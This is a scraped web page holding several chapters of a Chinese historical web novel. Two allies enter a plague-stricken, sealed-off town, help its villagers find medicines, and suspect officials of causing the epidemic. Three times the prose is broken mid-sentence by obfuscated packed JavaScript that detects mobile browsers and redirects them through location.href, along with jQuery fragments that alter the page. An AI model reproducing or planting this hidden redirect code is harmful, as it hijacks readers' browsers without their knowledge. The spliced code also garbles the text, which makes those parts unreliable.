;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099855|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
褚拭雪想,有些想见她…们了。
“先生,你说的那些药怎么买?”马大茂出声问。
褚拭雪扭过头看他,眼神中透着神性般的悲悯,却也有着神性般的冷漠:“京城有,山乐县的名医坊也许也有,但你买不起,你们所有人的身家加在一起也不行。”
“……”
他本以为马大茂又会大怒,可他没有,反而眼圈又红一圈:“我会找到办法的,我会的。”
褚拭雪没再说什么,只是沉默着看他将妻子重新安顿在床榻上,又将其他患者一一安排好,跟着他走出了房间。
看到他想关门的动作,褚拭雪制止:“患者的房间需要通风,而且他们不能安置在一起,要彼此隔离。”
“可你也说了这病传染,我们怎么……”
“这院子的主人应该离开了吧,既然没人住,你们就多整理出些房间,让他们分开住,保持通风和阳光,对病情恢复好。”
可马大茂听到这话反而犹豫了,他几次看看褚拭雪,想了半天才说:“这院子其实是有主人的,这是我们鲁大哥他岳父的院子。”
“……那他岳父一家呢?”
“都死了,他的妻子也是,都因为这病死了。这病传染的太快,等我们发现…已经没办法控制了。”
此时在外面,宁菘蓝二人也听了鲁锡给他们讲的故事,心下已经有了判断,知道这座城大概是肆虐了疠风。
虽说疠风治疗的确耗钱,但对于极为富裕的山乐县来说,若及时救治这城里患病的人,最多是伤些元气,未来过几年就能赚回来。
但他们没有,反而县令下令将武城城门封锁,不派医士、不送药材与粮食,铁了心要把这群百姓封死在这里。
后来他们的目的也达到了,武城的确灭了城,只剩下几户人家仍在苦苦坚持。
这些人家中没患病的,妇女就留在城里,照顾病患,青壮年就从城另一端逃出去,躲在山间、河边当劫匪,抢了东西就拿回来,不管是什么。
就这样苦苦支撑着。
所以……
宁菘蓝和褚拭雪齐齐抬了头。
这座城是因为传染病灭的,即使尸体被清理了,但他们寻常百姓一定没有消毒意识,在满是病菌的一座城里,他们却没有丝毫的保护措施。
“快带上口巾与帷帽,拿酒!”
二人的声音突然响在一处。
抬头,宁菘蓝看到褚拭雪面色凝重的从院落里冲出来,跑到她面前,想伸手却又突然停住,朝都蒙着急道:“去拿干净的衣服,上面倒酒消毒,蒙在脸上做口巾,这病传染性极强!”
“褚拭雪……你没事吧?”
宁菘蓝自然知道这病的可怕,越是知道,她越心慌,因为褚拭雪刚刚才从满是病患的院中冲出来,这病是能通过飞沫传染的,那病患每说一句话可能都有病菌传播。
若是就这样折在这座城,他们谁甘愿?
即使只要暴露身份他们就能获得救助,可暴露了身份又会有更多问题接踵而至。
此刻,他们要么受着感染和死亡的巨大风险,要么,就一切谋划全部失败。
24. 第 24 章
宁菘蓝越想身体就越是发麻,此刻她好像已经染上了病,浑身不适,心脏更是跳动剧烈,有时跳动到隐隐发痛。
她分辨不清这到底是因为对未来的不安,还是担心再度失去眼前这个难得的盟友。
褚拭雪脸色并不好看,但他看到宁菘蓝,紧抿的唇角又有一丝放松。
“别担心,至少现在没事,你先戴上口巾再说话。”
褚拭雪的手蠢蠢欲动,想帮宁菘蓝赶紧戴上口巾,却在空中抓握两下又放弃。
他不敢再向前走一步。
好在这时候都蒙带着几块布料赶来了,他忙着递给二人,说:“咱们这次出来带的酒不多,我只能省着点倒。”
看着二人纷纷接过,他抿抿唇看向褚拭雪,试探:“主…咱们,是不是得留在这一段时间了……”
褚拭雪用余光看了眼正和其他人交代的鲁锡,深叹一口气:“我留在这,你们去山乐县,我会尽快与你们会合的。”
“这里没有药、没条件消毒,你留在这,等s……”宁菘蓝紧皱眉头,忍不住上前两步抓住了褚拭雪的衣袖。
褚拭雪一时不察,竟还真让她抓住了,他“嘶”一声,手臂下意识想挣脱:“说话便说,不要碰我。”
可此刻,衣袖上的那只手像被最牢固的胶条粘住似的,怎么挣都没能挣脱,甚至因为褚拭雪向后退的动作,宁菘蓝也往前了几步。
终于,他妥协似的停止动作:“他们不会就这么放人走,好不容易一个肯看诊的大夫来了,他们会放过吗?”说着,他眼神认真,“所以,你们先走,我会很快…”
“我们都走了,你在这是死是活都没人知道,如果你真的出事,你让我们怎么回去?让…等你的人们怎么办。”
都蒙赶忙应和:“对啊,您忘了…那位吗?”
褚拭雪知道他在说谁,他在说自己那仍在宫中的兄长。
他看着他们担心的眼神,轻叹:“你们就对我这么没有信心吗?”
“不是对你没信心,是我们要共进退。”
宁菘蓝没好气道。
共进退。
多么陌生的词。
褚拭雪难得因一句话而怔住。他身边的有下属、有需要掩护的兄长、有面和心离的长辈,他们或在他的身后,或在他的对立面。
宁菘蓝是第一个说要共进退的人,这种词汇的意思更多代表着并肩而立。
“好了好了,你们在那搞什么生离死别?现在武城被封,他们就是想出去也出不去!”马大茂眼角还带着未干的泪花,他有些不耐烦道。
“别的路,没有了吗?”褚拭雪蹙眉。
“如果有,我们不早打进去了吗,用得着被逼到去当劫匪?那该死的县令是铁了心要逼死我们,每一条路都封得死死的。”马大茂说着说着怒气又上来,可想到自家娘子的叮嘱,还是勉强控制着。
“所以,只要你们帮忙治好那些人,我们可以装作是劫持了你们,将你们送出去。”站在一旁的鲁锡也出了声。
“疠风需要很长一段治疗时间,若是等治好了再放我们走,黄花菜都凉了。”宁菘蓝没忍住撇撇嘴。
“我们自然知道,只要我们得到足够多的药材,你们再告知我们治疗方法,我们自会放你们走。”
“嗯?你们倒还信得过我们……”都蒙有些惊奇。
“他们能活到现在已是积德,你们帮了我们,我们只会感恩,没有资格不信。”鲁锡淡淡一笑。
眼前这个男人,明明只是一个非常普通的农家汉子,个子不太高,皮肤黝黑,就连肌肉块也不太大,看起来比他身边任何一个人都要不起眼。他们见面这么久,更多时候,他只是沉默着站在那,像一棵树。
若是没人说,谁又能知道鲁锡他,已经没有任何亲人了呢?无论是父母还是妻孩,都早已死在了这场灾疫里。
可又是最痛苦的他,撑起了所有人。
鲁锡是个聪明的,比村子里大部分人都要聪明,也拎得清。
褚拭雪等人对视一眼,他看向鲁锡:“所需药物有:内用的万灵丹、苍耳散,外用的狼毒、生肌散、红油丹,部分可以在山中采到,但那些名贵的比如龙骨、血竭,仅凭你们,想得到很困难。”
突然听到什么般,鲁锡身体一震,他支吾着开口:“我那好像有些…但放置了很久的,还能用吗?”
“多久?”
“大概,一年了。”
“药材可以放的,那不是饭食,不会变质。只是……”
好像看出了褚拭雪的疑问,鲁锡沉默一下说:“其实不是我的,是我娘子母家,她们家世代行医,只是没想到,岳父岳母去的太早,后来我娘子与她的兄长在照顾病人时先后患了病,都去了,那些药,也就一直留着。”
“后来是我一日意外跌进地库,才发现她们家中还贮藏着些药材,因为时日长了,我怕吃死人,也不敢拿出来让大家伙知道……”
所以……
鲁锡说着,带些歉意看向其他人。
“对不住兄弟们,我自己顾虑的太多,反而耽误大家了。”
他膝盖一曲,朝那些人直直跪下,马大茂距他最近,看到他跪下也来不及阻止,立刻跟着跪,其他人看到二人的动作,也纷纷跪下来,顿时,刷刷刷一片。
只余下站在一边的褚拭雪三人仍立在那。
像是一部烂到极致的黑色幽默电影,光怪陆离的三年造就了一座死城,带走无数爱人,剩下的人苦苦支撑,在等待死亡时,却突兀发现生机原来在身后。
“大哥…”
众人齐刷刷看着鲁锡,他们本就没有资格质问他,又怎敢受他一跪。
“大哥,若没有你,别说院里的人了,我们都得死,是你救了我们!”
马大茂这个第一面凶悍的汉子又掉起了眼泪,他眼眶早就带上了红,只有皮肤过于黑而显不太出来,此刻眼泪一落,众人才发现他哭了。
“……大毛,你怎么回事,小时候就爱哭,都长成大汉子了还哭!”
“码的,不准看。”马大茂使劲擦擦眼泪,看着鲁锡,“如果不是他们来了,如果他们没有说这是疠风,如果他们没有告诉我们哪些药材有用,即使你拿出来了咱们也不知道怎么用啊,你做的很好了大哥!”
“……是,是。”鲁锡又是点头又是摇头,突然转过身子对着褚拭雪他们,“谢谢你们来了武城,谢谢,谢谢…”
“我只是看了诊,什么都没做。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109694|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
褚拭雪这人本就不爱邀功,更莫说是这种与自己没什么关系的事,他淡淡摇头。
既然有药材,那也许治病就容易的多了。
宁菘蓝也通些简单药理,便跟着褚拭雪他们一起去了地库。仔细检查很久,褚拭雪才直起腰:“万幸的是,海螵蛸和血竭这些都有,但龙骨和寒水石并未找到,需要去另寻。”
“龙骨我知道是牛等动物的骨头,但是寒水石又是什么?”宁菘蓝疑惑。
褚拭雪看着大剌剌靠近的宁菘蓝有些无奈,早就提醒她要离自己远一点,为什么说了从来不听。
“龙骨可从犀、牛、鹿等身上获取,寒水石是芒硝,常出产在矿泉……”
“矿?”宁菘蓝一怔。
“对,山乐县的矿场周围,应该会有。”褚拭雪冲她使使眼色。
原来绕来绕去,始终没绕出一个“矿”字啊。
“制作药物的其他材料在山中应都能找到,待明日我为你们画几张草药图,比对着图你们应当可以找到,至于龙骨,你们作为劫匪,打猎应该难不倒你们。唯一困难的,是寒水石。”
褚拭雪看着鲁锡,眼中带着试探之意:“我们不需要山乐县的矿,只是需要采制些矿泉中生长的芒硝而已,应该可以办到吧?”
鲁锡也没多想,只是犯了一下难,便摇摇头:“很困难,莫说是要矿泉中的东西,那座矿我们都不被允许靠近。山乐县的县令名为宗元武,他将整座矿都守得密不透风,所有进出人员都是他宗家自行培养出的人手,除了宗家人,整个奉阳郡应该都没人进得去。”
“把守这么严格,你们不好奇里面都有什么吗?”
宁菘蓝有些奇怪,这世上的人,最不缺的就是好奇心,一个两个没有还可以理解,若是整个郡都找不出一个好奇心重的,那可就蹊跷得很。
“当然好奇。你们应该也知道,我们山乐县自先帝时期便开始采矿了,当时还是那位刘宦官主持的开矿事宜,后来刘宦官专断,欺压百姓,是当朝太子来了才将他拉下马……”
“这种久远的历史就不必讲了。”
宁菘蓝有些无奈,燕谨之自奉阳郡刚回来那段时间,她耳边到处都是对他的夸赞,这件事已经听得她耳朵快起茧子了。
“……哦,好吧。太子殿下整顿了山乐县,留下了一位名为宗元靖的做县令,后来朝廷又派来两位,一位叫仲策,一位叫袁云,二人协助宗元靖处理事务。他们都在时,我们确实过的很舒坦,可是好景不长,仲策先生出游经过我们武城时染上了这疠风,没多久便去世了。”
“仲策死了?还是死在你们这的?”宁菘蓝有些吃惊。
因为在宫中,他们从未听过任何关于仲策已死的消息。反而据她了解,每隔一段时日,或是仲策或是袁云,二人的信件都会寄来以汇报山乐县的情况,没想到……
她忍不住看向褚拭雪:你知道这事吗?
褚拭雪摇头:从没听说过。
鲁锡点着头:“对,不止仲策先生,袁云先生得知他死在我们武城,便快马加鞭赶来查探,但也不幸染病,死在回程的路上。也正是他的死亡,让山乐县得知了武城或有疫病传播,没多久我们武城就被全面封锁了。”
25. 第 25 章
蹊跷,太蹊跷了。
偏偏死的是皇上派来的两个人,偏偏是死在了武城,偏偏二人死了之后武城便全面爆发疠风,紧接着其就被全面封锁,连一只苍蝇都飞不出去。
太过巧合,就不是巧合。
“仲策先生刚死的那段时间,山乐县内正忙着换下一位县令。因为宗元靖虽说是太子殿下身边数一数二的谋士,有着惊人的智慧,但是他的身体过于差劲,常年坐在轮椅上,出行都需要下人服侍。作为一个要管理矿山的人,下矿可是必不可少的,但坐轮椅太不方便,后来他就自请退下,让自己的胞弟上了。”
“宗元武?”
“是,宗元武,此人比他兄长身体好得多,自小习武。后来袁云先生也去了,只剩宗家兄弟,兄弟二人就一个出谋一个出力,久而久之,山乐县也成了他们宗家的一言堂。”
果然,很多事情若是不亲自到场,终究无法发现真相。
也幸而他们走了比较隐蔽快速的水路,才能来到武城,听到最真实的秘辛。
所以眼前的情况,不如大胆猜测,也许武城的灾疫并非空穴来风,而是别有用心之人为了除掉异己所为。
武城的全面封锁也因此有了原因。袁云和仲策在这里死亡,这里的城民全部是知情人,但凡有一个逃出去,得知了袁云和仲策还在向宫中送信,一个举报,山乐县的人就大难临头,所以他们才要将武城城民困死在里面。
而且,如果仅是他们这种小喽啰,手能伸那么长,保证谎言不被宫中发现吗?
最大的可能性,还是宫中有人接应,或者往更大了说,宫中那人,也许就是整件事的策划之人。
一个名字迅速浮现在宁菘蓝脑海中。
出去地库之后,鲁锡忙着安排其他人打猎的打猎、采药的采药,只留下褚拭雪和宁菘蓝二人。
宁菘蓝将自己的猜测告诉了褚拭雪,褚拭雪听后先是饶有兴致地挑挑眉,随即说:“你的想法还是挺大胆的。”
“怎么,你不这样想?”宁菘蓝眯眼。
“……我当然也这么想,毕竟是那个女人的儿子,做出这种事一点都不奇怪。”
宁菘蓝歪歪头,故意问:“那个女人?是哪个?”
“还有哪个……”
褚拭雪对她揣着明白装糊涂的行为感到“鄙视”。
“好吧,毕竟太子他母亲也就那一位,你们之间的故事……不用告诉我,我不需要知道。”
褚拭雪看看扭过头不看他的宁菘蓝,明明连后脑勺都透着好奇,还装不感兴趣。
他无奈走上前,轻轻拍一下她的后脑勺:“等回去了,我和你细细讲。”
“……你说的?我可不想知道,是你自己非要说的。”
“嗯嗯,我特别希望宁娘子听听我的故事。”
两个人并肩,慢慢走远。
于这些已挣扎在生死线上的人而言,动作不快是不可能的。
仅仅一日过去,大量的龙骨、药材就纷纷被送来,结合鲁锡岳父母家存留下的,基本足够去为那些患者上药了。
“现下,只剩寒水石未取得了。”众人聚在马大茂家的院落里,讨论着。
褚拭雪抿一口手中的茶水,手指慢慢摩挲杯子,对着鲁锡等人道:“不如这样,我带着我的人去为你们取寒水石。”
“……这可不行,要是你们悄悄跑了怎么办?”马大茂抱着臂,瞪着眼。
褚拭雪蹙蹙眉。他能在这留到现在已是顶了天了,若不是顾及着宁菘蓝,他早就带着都蒙从这武城里杀出去,潜伏进山乐县了,又怎会在这里浪费时间。
这般想着,他将眼光投向宁菘蓝,只见她刚刚从病患的院落里回来,正用掺了酒精的水清洗,她身上带着血迹,不知是哪个病患的。
“你将衣服脱下来,烧了。”
褚拭雪没接马大茂的话,反而对着宁菘蓝说。
宁菘蓝一怔,扭头看看众人和褚拭雪,发觉他好像是在和自己说话,有些为难道:“这已是我的第三套衣服,再烧,等以后…就没换洗的了。”
“我保证,这会是你烧的最后一件。”
她听了这话,先是有些不解,随后意识到了什么,错愕道:“你…不会吧?”
褚拭雪不会对她承诺任何做不到的事,他说这会是她烧的最后一件,就意味着他绝对不会让她的下一件衣服再染上病菌,所以他不会再让她接触病患。
他准备离开,且不会再回来!
这一切念头都发生在电光火石间,于其他人而言,这个大夫只是说了一句莫名其妙的话,对面的小娘子脸色就变了。
也许这大夫只是心疼小娘子辛苦,准备以后一直让她休息着吧,马大茂默默点头,这小子算疼媳妇,和他一样!
“你跟我过来。”
宁菘蓝也顾不上手还湿着,上去拉起褚拭雪就将他推进一间屋子,关上了门。
众人望着二人的背影,看看还坐在原地的都蒙,面面相觑。
马大茂难得给褚拭雪着补了一句:“哎,人家夫妻俩估计要说些悄悄话,咱们这外人该干嘛干嘛去,千万别打扰他们,当时我和我媳妇在一起时就最讨厌那没眼色的去打扰了……”
“媳妇儿?”
“哦,他俩是一对啊,我都没发现。”
“他俩这两天也没见多亲密,大毛你怎么发现的?”
“去去去,你们这群单身汉当然没见过小夫妻的相处了,表面那肯定安安分分的,但是那小子看人的眼神啊,跟我看我媳妇儿一模一样!”马大茂冲他们挥挥手,示意他们和自己出去。
边走他还边冲愣在原地的都蒙喊:“就算你是那小子的跟班,但是人家小夫妻在一块你也别当电灯泡,跟我们走吧,你看人家这两天也没怎么单独在一起过,让他们放松放松。”
热心的汉子一把拽起都蒙的衣领,拎着人就给拎出了院子。
都蒙也没反抗,暗暗叹息:你们要是知道宁娘子有夫君,我主子根本没名分,就老实了。
屋内的二人丝毫不知道自己已经被点了鸳鸯谱。
“你什么意思,不管他们了吗?”宁菘蓝试探着问。
“宁娘子,我不是救世主,我来这是为了查案不是为了救人,他们屡次挡我的路,我不杀他们就不错了。还有,我已经给他们说了怎么制药,仁至义尽了吧?”
“……话,是这么说,但是你不找寒水石了吗?”
“找寒水石是对外人的借口,寒水石于我们而言无用,为何要找?”褚拭雪声音沉沉。
宁菘蓝也不是什么圣母,但是经过这几日的接触,她知道了武城的悲惨故事,看到了那些瘫在地上的孩童、妇人,还有马大茂那位妻子…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15126445|160923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其实她已怀胎几个月了,在这个孩子之前,他们已经流掉两个,若是这个再出事,也许他们就再也没有孩子,宁菘蓝也是偶然才发现她怀孕的。
“你怀孕的事,不准备告诉你夫君吗?”
“不说了吧,我和孩子注定是要死的,就别说出来,平白让大茂难过了。”
女人斜靠着墙,满是溃烂的手一下下抚摸着肚子,神情温柔却又充满着悲伤,这个孩子注定生不下来。
还有为了武城几乎奉献全部的鲁锡,他除了这些人,已经没有其他家人了。
若是不认识他们,宁菘蓝也许能扭头就走,将这座城抛之脑后,但他们已认识了,甚至算得上是朋友…
还记得她和那些病患聊天。
“小宁娘子,等我们痊愈了,就好好招待你们,你们来这么久,那些糙汉子们肯定还没顾得上给你们做顿好饭好菜吧。”
“小宁娘子看着年纪还小,不知有没有婚配啊?那位褚大夫…”说话的人隐晦地瞟了眼站在一边检查的褚拭雪,又看向宁菘蓝说,“你们二人是不是一对,成婚了吗?”
“这褚大夫一看就不是普通人,长得又高又俊的哟,和咱们小宁娘子可真配。”
即使宁菘蓝有时也很无奈他们乱点鸳鸯谱的行为,但是她同样喜欢这种被长辈们围着唠家常的感觉,这与宫中的生活完全不同。
“宁菘蓝,你在想什么?”褚拭雪的话将她拉回现实。
她一愣,抬头重又看到他,那双眼专注极了,仿佛全世界中,它只愿装下眼前人。她抿抿唇,眼神有些飘忽:“我觉得武城人…也许对我们的案子有帮助,既然要借寒水石的名义出去,何不顺水推舟帮一把,卖他们一个人情,也许未来会有用。”
“你也知道这个理由有多牵强吧?”褚拭雪像个冷漠无情的杀手,语气简直能溢出冰碴儿。
宁菘蓝忍不住咬咬后槽牙,他太冷静太清醒,显得各种找理由的她像个傻子。
她闭闭眼,深吸一口气,使劲一转身不再看他,讷讷道:“好好好,你说什么就是什么吧,不用和我商量了。”
“……”
她有点生气了,褚拭雪想。
眼看人就要愤愤地走出门了,他只好上前扯住她的手腕,将她又往里带了带,低声道:“不是故意要给你难堪,只是继续在这里留下去,你不一定什么时候就会被感染,不能再拿命去救人了。”
只要不是给人看诊,他就不会踏足那间院子,可宁菘蓝不是,她常常去那里,甚至一天要去四五次,和那些病患待在一起太久,迟早要出事,他不能再让她这样下去,这也是他这么迫切带人离开的理由。
她心太善,只能让他做坏人。
褚拭雪的声音低低响在她头顶,伴随着轻浅的呼吸传到耳畔,她忍不住身体颤抖,慢慢转了一下头。
昏暗寂静的房间里,他们离得好近好近。
近到只要宁菘蓝再侧侧头,额角就能碰到褚拭雪的唇瓣,他此刻一手攥着她的手腕,一手在她身侧抵着透出一道光的门缝,像是将她困在了这寸方圆之地。
“我们是盟友,我怎么能不和你商量,只是,你偶尔也理解一下盟友对你的担心,可以吗?”
盟友盟友,口口声声的盟友,可是他们二人此刻几乎算是紧紧相贴的身体不像盟友,更像是情人。